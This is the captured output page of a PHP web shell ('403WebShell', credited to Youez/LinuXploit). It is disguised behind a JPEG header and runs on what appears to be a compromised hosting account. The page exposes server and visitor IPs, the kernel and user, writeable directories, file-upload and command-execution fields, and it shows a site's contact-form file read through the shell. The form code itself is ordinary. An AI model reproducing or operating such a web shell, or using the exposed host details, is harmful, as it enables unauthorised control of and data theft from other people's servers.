���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.203  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/softstart.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/softstart.in/public_html/common-form.php
<form id="contactForm" action="submit.php" method="POST">
    <div class="row mb-20">
        <div class="col-xl-6">
            <input class="form-control" type="text" name="name" id="name" placeholder="Your full name*">
            <span class="text-danger" id="nameError"></span>
        </div>
        <div class="col-xl-6">
            <input class="form-control" type="email" name="email" id="email" placeholder="Mail Address*">
            <span class="text-danger" id="emailError"></span>
        </div>
        <div class="col-xl-6">
            <input class="form-control" type="tel" name="phone" id="phone" placeholder="Phone Number*">
            <span class="text-danger" id="phoneError"></span>
        </div>
        <div class="col-xl-6">
            <input class="form-control" type="text" name="subject" placeholder="Subject">
        </div>
        <div class="col-xl-12">
            <textarea class="form-control" name="message" id="message" placeholder="Your Message" cols="30" rows="7"></textarea>
            <span class="text-danger" id="messageError"></span>
            <button type="submit" name="submit_button" class="btn9">Send Message</button>
        </div>
    </div>
</form>


<script>
    document.getElementById('contactForm').addEventListener('submit', function(event) {

        clearErrors();


        let isValid = true;


        const name = document.getElementById('name').value.trim();
        const email = document.getElementById('email').value.trim();
        const phone = document.getElementById('phone').value.trim();
        const message = document.getElementById('message').value.trim();


        if (!name.match(/^[A-Za-z ]+$/)) {
            document.getElementById('nameError').textContent = 'Name should contain only letters and spaces.';
            isValid = false;
        }
        const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        if (!emailPattern.test(email)) {
            document.getElementById('emailError').textContent = 'Please enter a valid email address.';
            isValid = false;
        }


        if (!phone.match(/^\d{10}$/)) {
            document.getElementById('phoneError').textContent = 'Phone number should be exactly 10 digits long.';
            isValid = false;
        }


        if (message.length === 0) {
            document.getElementById('messageError').textContent = 'Message cannot be empty.';
            isValid = false;
        }


        if (!isValid) {
            event.preventDefault();
        }
    });

    function clearErrors() {
        document.getElementById('nameError').textContent = '';
        document.getElementById('emailError').textContent = '';
        document.getElementById('phoneError').textContent = '';
        document.getElementById('messageError').textContent = '';
    }
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit